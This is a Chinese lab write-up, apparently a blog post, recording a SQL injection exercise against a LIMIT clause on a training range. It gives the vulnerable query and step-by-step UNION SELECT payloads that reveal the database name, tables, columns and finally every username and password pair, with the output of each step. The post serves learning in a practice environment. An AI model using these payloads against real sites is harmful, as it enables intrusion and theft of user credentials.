当前位置:网站首页>五号黯区靶场 mysql 注入之limit注入记录
五号黯区靶场 mysql 注入之limit注入记录
2022-07-30 05:51:00 【YouthBelief】
前言
感谢五号黯区团队。
limit 功能 通常在分页处
比如page 字段 可能存在
limit注入(不存在order by)
http://bug.cc:86/limit/limit.php?p=1
访问靶场如下图
原数据库语句如下
select * from users where id <= 100 limit $p,1
p为传参点
1.1 当p 为1时 sql语句和回显为
select * from users where id <= 100 limit 1,1
id:2 username:Angelina password:I-kill-you
1.2 测试是否存在sql注入
payload:输入2 --+
select * from users where id <= 100 limit 2 -- ,1
id:1 username:Dumb password:Dumb
id:2 username:Angelina password:I-kill-you
如上 注释掉了 后边的,- 查询出两条数据
sql语句 执行成功 说明存在sql注入
1.3 测试回显位(limit注入后不能用order by 判断列数 )
payload:1,0 union select 1,2,3 --+
select * from users where id <= 100 limit 1,0 union select 1,2,3 – ,1
id:1 username:2 password:3
1.4 爆数据
库
select * from users where id <= 100 limit 1,0 union select 1,2,database() -- ,1
id:1 username:2 password:security
表
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- ,1
id:1 username:2 password:emails,referers,uagents,users
字段(两个语句锁定这个表)
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() -- ,1
id:1 username:2 password:id,username,password
字段值
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(username,0x7e,password) from security.users -- ,1
id:1 username:2 password:Dumb~Dumb,Angelina~I-kill-you,[email protected],secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
1.5 总结
回显 传入 2–+ 测试 就可以显示出3个字段
后续测法就和正常union 联合一样 但是不能用order by 判断数据列数
边栏推荐
- 【雷达目标检测】恒定阈值法和恒虚警(CFAR)法及代码实现
- 大飞机C919都用了哪些新材料?
- Proof of distance calculation from space vertex to plane and its source code
- export , export default,import完整用法
- 限塑令下的新材料——聚乳酸(PLA)
- 识别“数据陷阱”,发现数据的可疑之处
- Is it possible to use the same port for UDP and TCP?
- New breakthrough in artificial muscle smart materials
- golang : Zap日志整合
- schur completement
猜你喜欢

Graphical relational database design ideas, this is too vivid

Boot process and service control

Vue项目通过node连接MySQL数据库并实现增删改查操作

The first artificial intelligence safety competition officially launched

大飞机C919都用了哪些新材料?

Go 结合Gin导出Mysql数据到Excel表格

Proof of distance calculation from space vertex to plane and its source code

Linx common directory & file management commands & VI editor usage introduction

No, the Log4j vulnerability hasn't been fully fixed yet?

golang : Zap日志整合
随机推荐
MySQL master-slave replication configuration construction, one step in place
bin文件夹下的roslyn文件夹
What new materials are used in the large aircraft C919?
MySQL什么时候用表锁,什么时候用行锁?
AI元学习引入神经科学,医疗效果有望精准提升
华为发布“十大发明”,包含计算、智能驾驶等新领域
LVM和磁盘配额
go : 使用gorm修改数据
numpy 多维数组ndarray的详解
深度学习:线性回归模型
《心智社会》—马文·明斯基
AI可通过X光片识别种族,但没人知道为什么
阿里二面:Sentinel vs Hystrix 对比,如何选择?
让百度地图生成器里的“标注”内容展开--解决方案
PXE efficient mass network capacity
限塑令下的新材料——聚乳酸(PLA)
Go语学习笔记 - gorm使用 - 数据库配置、表新增 Web框架Gin(七)
AI can identify race from X-rays, but no one knows why
首届人工智能安全大赛正式启动
window.open()的用法,js打开新窗体